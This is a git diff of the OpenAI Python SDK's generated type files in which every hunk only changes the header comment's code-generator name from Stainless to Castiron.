diff --git a/src/openai/types/responses/response_prompt_param.py b/src/openai/types/responses/response_prompt_param.py
index f9a28b62a2..c2147ea370 100644
--- a/src/openai/types/responses/response_prompt_param.py
+++ b/src/openai/types/responses/response_prompt_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_queued_event.py b/src/openai/types/responses/response_queued_event.py
index a554215275..729c164207 100644
--- a/src/openai/types/responses/response_queued_event.py
+++ b/src/openai/types/responses/response_queued_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_reasoning_item.py b/src/openai/types/responses/response_reasoning_item.py
index 7f24ef2c57..5d2192ac73 100644
--- a/src/openai/types/responses/response_reasoning_item.py
+++ b/src/openai/types/responses/response_reasoning_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_reasoning_item_param.py b/src/openai/types/responses/response_reasoning_item_param.py
index e4cbc884e3..2cd297ff39 100644
--- a/src/openai/types/responses/response_reasoning_item_param.py
+++ b/src/openai/types/responses/response_reasoning_item_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_reasoning_summary_part_added_event.py b/src/openai/types/responses/response_reasoning_summary_part_added_event.py
index e4b0f34231..1132070566 100644
--- a/src/openai/types/responses/response_reasoning_summary_part_added_event.py
+++ b/src/openai/types/responses/response_reasoning_summary_part_added_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_reasoning_summary_part_done_event.py b/src/openai/types/responses/response_reasoning_summary_part_done_event.py
index 184ba698d0..9ba0f56e3b 100644
--- a/src/openai/types/responses/response_reasoning_summary_part_done_event.py
+++ b/src/openai/types/responses/response_reasoning_summary_part_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_reasoning_summary_text_delta_event.py b/src/openai/types/responses/response_reasoning_summary_text_delta_event.py
index 84bcf039c4..56f93db07e 100644
--- a/src/openai/types/responses/response_reasoning_summary_text_delta_event.py
+++ b/src/openai/types/responses/response_reasoning_summary_text_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_reasoning_summary_text_done_event.py b/src/openai/types/responses/response_reasoning_summary_text_done_event.py
index 244d001b75..c7c2ac5812 100644
--- a/src/openai/types/responses/response_reasoning_summary_text_done_event.py
+++ b/src/openai/types/responses/response_reasoning_summary_text_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_reasoning_text_delta_event.py b/src/openai/types/responses/response_reasoning_text_delta_event.py
index 0e05226c94..c75caacedb 100644
--- a/src/openai/types/responses/response_reasoning_text_delta_event.py
+++ b/src/openai/types/responses/response_reasoning_text_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_reasoning_text_done_event.py b/src/openai/types/responses/response_reasoning_text_done_event.py
index 40e3f4701c..4dc39bb122 100644
--- a/src/openai/types/responses/response_reasoning_text_done_event.py
+++ b/src/openai/types/responses/response_reasoning_text_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_refusal_delta_event.py b/src/openai/types/responses/response_refusal_delta_event.py
index e3933b7dda..b00f07418e 100644
--- a/src/openai/types/responses/response_refusal_delta_event.py
+++ b/src/openai/types/responses/response_refusal_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_refusal_done_event.py b/src/openai/types/responses/response_refusal_done_event.py
index 91adeb6331..abe5b91fd9 100644
--- a/src/openai/types/responses/response_refusal_done_event.py
+++ b/src/openai/types/responses/response_refusal_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_retrieve_params.py b/src/openai/types/responses/response_retrieve_params.py
index 4013db85ce..95269a8033 100644
--- a/src/openai/types/responses/response_retrieve_params.py
+++ b/src/openai/types/responses/response_retrieve_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_status.py b/src/openai/types/responses/response_status.py
index a7887b92d2..4878564530 100644
--- a/src/openai/types/responses/response_status.py
+++ b/src/openai/types/responses/response_status.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/responses/response_stream_event.py b/src/openai/types/responses/response_stream_event.py
index c0a317cd9d..5c2a3b11b2 100644
--- a/src/openai/types/responses/response_stream_event.py
+++ b/src/openai/types/responses/response_stream_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_text_config.py b/src/openai/types/responses/response_text_config.py
index 2095c10a1d..54d94e13d2 100644
--- a/src/openai/types/responses/response_text_config.py
+++ b/src/openai/types/responses/response_text_config.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_text_config_param.py b/src/openai/types/responses/response_text_config_param.py
index fadb424bb1..90bc04e460 100644
--- a/src/openai/types/responses/response_text_config_param.py
+++ b/src/openai/types/responses/response_text_config_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_text_delta_event.py b/src/openai/types/responses/response_text_delta_event.py
index 9b0b83de59..680e749157 100644
--- a/src/openai/types/responses/response_text_delta_event.py
+++ b/src/openai/types/responses/response_text_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_text_done_event.py b/src/openai/types/responses/response_text_done_event.py
index 3a202af67a..2295627a9d 100644
--- a/src/openai/types/responses/response_text_done_event.py
+++ b/src/openai/types/responses/response_text_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_tool_search_call.py b/src/openai/types/responses/response_tool_search_call.py
index 495bf17119..1f9e4083f3 100644
--- a/src/openai/types/responses/response_tool_search_call.py
+++ b/src/openai/types/responses/response_tool_search_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_tool_search_output_item.py b/src/openai/types/responses/response_tool_search_output_item.py
index f8911dd491..2bbad0ed26 100644
--- a/src/openai/types/responses/response_tool_search_output_item.py
+++ b/src/openai/types/responses/response_tool_search_output_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_tool_search_output_item_param.py b/src/openai/types/responses/response_tool_search_output_item_param.py
index f4d4ef34c6..77b9b5c989 100644
--- a/src/openai/types/responses/response_tool_search_output_item_param.py
+++ b/src/openai/types/responses/response_tool_search_output_item_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_tool_search_output_item_param_param.py b/src/openai/types/responses/response_tool_search_output_item_param_param.py
index 28e9b1e186..1c110eebce 100644
--- a/src/openai/types/responses/response_tool_search_output_item_param_param.py
+++ b/src/openai/types/responses/response_tool_search_output_item_param_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_usage.py b/src/openai/types/responses/response_usage.py
index 7a63daafa7..355dd5d735 100644
--- a/src/openai/types/responses/response_usage.py
+++ b/src/openai/types/responses/response_usage.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..._models import BaseModel
diff --git a/src/openai/types/responses/response_web_search_call_completed_event.py b/src/openai/types/responses/response_web_search_call_completed_event.py
index 5aa7afe609..826bbcf483 100644
--- a/src/openai/types/responses/response_web_search_call_completed_event.py
+++ b/src/openai/types/responses/response_web_search_call_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_web_search_call_in_progress_event.py b/src/openai/types/responses/response_web_search_call_in_progress_event.py
index 73b30ff5c0..49e25118b2 100644
--- a/src/openai/types/responses/response_web_search_call_in_progress_event.py
+++ b/src/openai/types/responses/response_web_search_call_in_progress_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_web_search_call_searching_event.py b/src/openai/types/responses/response_web_search_call_searching_event.py
index 959c095187..e57d6212a0 100644
--- a/src/openai/types/responses/response_web_search_call_searching_event.py
+++ b/src/openai/types/responses/response_web_search_call_searching_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/responses_client_event.py b/src/openai/types/responses/responses_client_event.py
index 673c2cc9cc..21ef6e17f5 100644
--- a/src/openai/types/responses/responses_client_event.py
+++ b/src/openai/types/responses/responses_client_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/responses/responses_client_event_param.py b/src/openai/types/responses/responses_client_event_param.py
index 32829669fc..6a86c5a211 100644
--- a/src/openai/types/responses/responses_client_event_param.py
+++ b/src/openai/types/responses/responses_client_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/responses_server_event.py b/src/openai/types/responses/responses_server_event.py
index c543587ad0..9c6c2d5e58 100644
--- a/src/openai/types/responses/responses_server_event.py
+++ b/src/openai/types/responses/responses_server_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/responses/skill_reference.py b/src/openai/types/responses/skill_reference.py
index 76e614ab6c..cf250482d1 100644
--- a/src/openai/types/responses/skill_reference.py
+++ b/src/openai/types/responses/skill_reference.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/skill_reference_param.py b/src/openai/types/responses/skill_reference_param.py
index 33b572854d..22b71e3da4 100644
--- a/src/openai/types/responses/skill_reference_param.py
+++ b/src/openai/types/responses/skill_reference_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/tool.py b/src/openai/types/responses/tool.py
index 8b83ad03a9..c15ee74641 100644
--- a/src/openai/types/responses/tool.py
+++ b/src/openai/types/responses/tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/tool_choice_allowed.py b/src/openai/types/responses/tool_choice_allowed.py
index 400e170a57..cf89508073 100644
--- a/src/openai/types/responses/tool_choice_allowed.py
+++ b/src/openai/types/responses/tool_choice_allowed.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List
from typing_extensions import Literal
diff --git a/src/openai/types/responses/tool_choice_allowed_param.py b/src/openai/types/responses/tool_choice_allowed_param.py
index cb316c1560..8c6b555a7b 100644
--- a/src/openai/types/responses/tool_choice_allowed_param.py
+++ b/src/openai/types/responses/tool_choice_allowed_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/tool_choice_apply_patch.py b/src/openai/types/responses/tool_choice_apply_patch.py
index ef5a5e8bfa..0602696137 100644
--- a/src/openai/types/responses/tool_choice_apply_patch.py
+++ b/src/openai/types/responses/tool_choice_apply_patch.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/tool_choice_apply_patch_param.py b/src/openai/types/responses/tool_choice_apply_patch_param.py
index 193c99328a..2edf6f5c70 100644
--- a/src/openai/types/responses/tool_choice_apply_patch_param.py
+++ b/src/openai/types/responses/tool_choice_apply_patch_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/tool_choice_custom.py b/src/openai/types/responses/tool_choice_custom.py
index dec85ef78c..90d382df67 100644
--- a/src/openai/types/responses/tool_choice_custom.py
+++ b/src/openai/types/responses/tool_choice_custom.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/tool_choice_custom_param.py b/src/openai/types/responses/tool_choice_custom_param.py
index ccdbab568a..1eb852452e 100644
--- a/src/openai/types/responses/tool_choice_custom_param.py
+++ b/src/openai/types/responses/tool_choice_custom_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/tool_choice_function.py b/src/openai/types/responses/tool_choice_function.py
index b2aab24aca..698ed18cf7 100644
--- a/src/openai/types/responses/tool_choice_function.py
+++ b/src/openai/types/responses/tool_choice_function.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/tool_choice_function_param.py b/src/openai/types/responses/tool_choice_function_param.py
index 837465ebd7..8e5d389b84 100644
--- a/src/openai/types/responses/tool_choice_function_param.py
+++ b/src/openai/types/responses/tool_choice_function_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/tool_choice_mcp.py b/src/openai/types/responses/tool_choice_mcp.py
index a2c8049c2d..3f73882eba 100644
--- a/src/openai/types/responses/tool_choice_mcp.py
+++ b/src/openai/types/responses/tool_choice_mcp.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/tool_choice_mcp_param.py b/src/openai/types/responses/tool_choice_mcp_param.py
index 9726e47a47..8a85c94f25 100644
--- a/src/openai/types/responses/tool_choice_mcp_param.py
+++ b/src/openai/types/responses/tool_choice_mcp_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/tool_choice_options.py b/src/openai/types/responses/tool_choice_options.py
index c200db54e1..f1354daddc 100644
--- a/src/openai/types/responses/tool_choice_options.py
+++ b/src/openai/types/responses/tool_choice_options.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/responses/tool_choice_shell.py b/src/openai/types/responses/tool_choice_shell.py
index a78eccc387..0cda346fb8 100644
--- a/src/openai/types/responses/tool_choice_shell.py
+++ b/src/openai/types/responses/tool_choice_shell.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/tool_choice_shell_param.py b/src/openai/types/responses/tool_choice_shell_param.py
index 0dbcc90f39..3e1848fec1 100644
--- a/src/openai/types/responses/tool_choice_shell_param.py
+++ b/src/openai/types/responses/tool_choice_shell_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/tool_choice_types.py b/src/openai/types/responses/tool_choice_types.py
index 3cd1d3f64c..15bca1975a 100644
--- a/src/openai/types/responses/tool_choice_types.py
+++ b/src/openai/types/responses/tool_choice_types.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/tool_choice_types_param.py b/src/openai/types/responses/tool_choice_types_param.py
index 5d08380a22..a3057ee608 100644
--- a/src/openai/types/responses/tool_choice_types_param.py
+++ b/src/openai/types/responses/tool_choice_types_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/tool_param.py b/src/openai/types/responses/tool_param.py
index 4d46891007..0b881d9c1d 100644
--- a/src/openai/types/responses/tool_param.py
+++ b/src/openai/types/responses/tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/tool_search_tool.py b/src/openai/types/responses/tool_search_tool.py
index 44a741a1c4..11b90b60ee 100644
--- a/src/openai/types/responses/tool_search_tool.py
+++ b/src/openai/types/responses/tool_search_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/tool_search_tool_param.py b/src/openai/types/responses/tool_search_tool_param.py
index 3063da276c..83b6196ac6 100644
--- a/src/openai/types/responses/tool_search_tool_param.py
+++ b/src/openai/types/responses/tool_search_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/web_search_preview_tool.py b/src/openai/types/responses/web_search_preview_tool.py
index bdf092f196..05f96b6cdc 100644
--- a/src/openai/types/responses/web_search_preview_tool.py
+++ b/src/openai/types/responses/web_search_preview_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/web_search_preview_tool_param.py b/src/openai/types/responses/web_search_preview_tool_param.py
index b81f95e308..849625921a 100644
--- a/src/openai/types/responses/web_search_preview_tool_param.py
+++ b/src/openai/types/responses/web_search_preview_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/web_search_tool.py b/src/openai/types/responses/web_search_tool.py
index 769f5c93a4..99c9a6bb1a 100644
--- a/src/openai/types/responses/web_search_tool.py
+++ b/src/openai/types/responses/web_search_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/web_search_tool_param.py b/src/openai/types/responses/web_search_tool_param.py
index a4531a9304..c3b0826a8b 100644
--- a/src/openai/types/responses/web_search_tool_param.py
+++ b/src/openai/types/responses/web_search_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/shared/__init__.py b/src/openai/types/shared/__init__.py
index 55d3e86371..741adb24d2 100644
--- a/src/openai/types/shared/__init__.py
+++ b/src/openai/types/shared/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .metadata import Metadata as Metadata
from .reasoning import Reasoning as Reasoning
diff --git a/src/openai/types/shared/all_models.py b/src/openai/types/shared/all_models.py
index ba8e1d82cf..72eea3e112 100644
--- a/src/openai/types/shared/all_models.py
+++ b/src/openai/types/shared/all_models.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/shared/chat_model.py b/src/openai/types/shared/chat_model.py
index ba54031f48..7cac1805bb 100644
--- a/src/openai/types/shared/chat_model.py
+++ b/src/openai/types/shared/chat_model.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/shared/comparison_filter.py b/src/openai/types/shared/comparison_filter.py
index 57c26cd016..7bcc829e0a 100644
--- a/src/openai/types/shared/comparison_filter.py
+++ b/src/openai/types/shared/comparison_filter.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union
from typing_extensions import Literal
diff --git a/src/openai/types/shared/compound_filter.py b/src/openai/types/shared/compound_filter.py
index 4801aaac1a..02d09c277d 100644
--- a/src/openai/types/shared/compound_filter.py
+++ b/src/openai/types/shared/compound_filter.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/shared/custom_tool_input_format.py b/src/openai/types/shared/custom_tool_input_format.py
index 9391692b7b..62ae8b5761 100644
--- a/src/openai/types/shared/custom_tool_input_format.py
+++ b/src/openai/types/shared/custom_tool_input_format.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/shared/error_object.py b/src/openai/types/shared/error_object.py
index 32d7045e00..47627c0156 100644
--- a/src/openai/types/shared/error_object.py
+++ b/src/openai/types/shared/error_object.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/shared/function_definition.py b/src/openai/types/shared/function_definition.py
index 33ebb9ad3e..55588d9942 100644
--- a/src/openai/types/shared/function_definition.py
+++ b/src/openai/types/shared/function_definition.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/shared/function_parameters.py b/src/openai/types/shared/function_parameters.py
index a3d83e3496..6a7ed56aa4 100644
--- a/src/openai/types/shared/function_parameters.py
+++ b/src/openai/types/shared/function_parameters.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict
from typing_extensions import TypeAlias
diff --git a/src/openai/types/shared/metadata.py b/src/openai/types/shared/metadata.py
index 0da88c679c..854eb385b1 100644
--- a/src/openai/types/shared/metadata.py
+++ b/src/openai/types/shared/metadata.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict
from typing_extensions import TypeAlias
diff --git a/src/openai/types/shared/oauth_error_code.py b/src/openai/types/shared/oauth_error_code.py
index 4ef3924293..14b95a805c 100644
--- a/src/openai/types/shared/oauth_error_code.py
+++ b/src/openai/types/shared/oauth_error_code.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
